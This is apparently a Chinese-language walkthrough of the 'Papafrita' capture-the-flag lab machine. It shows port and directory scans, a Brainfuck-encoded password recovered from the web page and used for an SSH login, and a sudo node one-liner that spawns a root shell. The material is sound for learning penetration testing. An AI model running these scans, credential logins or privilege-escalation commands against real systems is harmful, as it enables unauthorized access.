Papafrita

image

信息搜集

192.168.43.149

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.149 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
I scanned ports so fast, even my computer was surprised.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.149:22
Open 192.168.43.149:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.149
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-20 18:16 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:16
Completed NSE at 18:16, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:16
Completed NSE at 18:16, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:16
Completed NSE at 18:16, 0.00s elapsed
Initiating ARP Ping Scan at 18:16
Scanning 192.168.43.149 [1 port]
Completed ARP Ping Scan at 18:16, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:16
Completed Parallel DNS resolution of 1 host. at 18:16, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:16
Scanning 192.168.43.149 [2 ports]
Discovered open port 80/tcp on 192.168.43.149
Discovered open port 22/tcp on 192.168.43.149
Completed SYN Stealth Scan at 18:16, 0.02s elapsed (2 total ports)
Initiating Service scan at 18:16
Scanning 2 services on 192.168.43.149
Completed Service scan at 18:16, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.149
NSE: Script scanning 192.168.43.149.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:16
Completed NSE at 18:16, 0.29s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:16
Completed NSE at 18:16, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:16
Completed NSE at 18:16, 0.00s elapsed
Nmap scan report for 192.168.43.149
Host is up, received arp-response (0.00062s latency).
Scanned at 2026-05-20 18:16:20 CST for 8s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGjZjT9uVInycGr+L2uWFk2OHfIU6ziqLqjc31ns1WmQ6Hr6uDnP8LT23hig2aIXwb3uRT1F7Q1q5YSr4zozu64=
| 256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINl5E2qTz+BE4drC1MXdiCyaKavO+3ur4RldEaIe41fC
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:44:BA:79 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/20%OT=22%CT=%CU=36150%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A0D89FC%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 34.204 days (since Thu Apr 16 13:23:16 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.62 ms 192.168.43.149

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:16
Completed NSE at 18:16, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:16
Completed NSE at 18:16, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:16
Completed NSE at 18:16, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds
Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
  • 22 SSH
  • 80 HTTP

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿Eecho)-[~]
└─# gobuster dir -u http://192.168.43.149/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json,md
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.43.149/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: html,back,cgi,jpg,json,md,php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html (Status: 200) [Size: 11058]
javascript (Status: 301) [Size: 321] [--> http://192.168.43.149/javascript/]
server-status (Status: 403) [Size: 279]
Progress: 1985022 / 1985022 (100.00%)
===============================================================
Finished
===============================================================

入口

1
curl -v http://192.168.43.149/

image

是Brainfuck编码,使用在线网站解密

image

解密出来的应该是某个用户的密码,abuelacalientalasopa

猜测用户名是abuela,尝试登录成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿Eecho)-[~]
└─# ssh abuela@192.168.43.149
abuela@192.168.43.149's password:
Linux papafrita 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon May 13 13:39:40 2024 from 192.168.0.108
abuela@papafrita:~$ id
uid=1001(abuela) gid=1001(abuela) grupos=1001(abuela)
abuela@papafrita:~$

提权

abuela -> root

1
2
3
4
5
6
abuela@papafrita:~$ sudo -l
Matching Defaults entries for abuela on papafrita:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User abuela may run the following commands on papafrita:
(root) NOPASSWD: /usr/bin/node

可以无密码执行node进行提权

gtfbins上有方案 https://gtfobins.org/gtfobins/node/

1
2
3
4
abuela@papafrita:~$ sudo /usr/bin/node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
# id
uid=0(root) gid=0(root) grupos=0(root)
#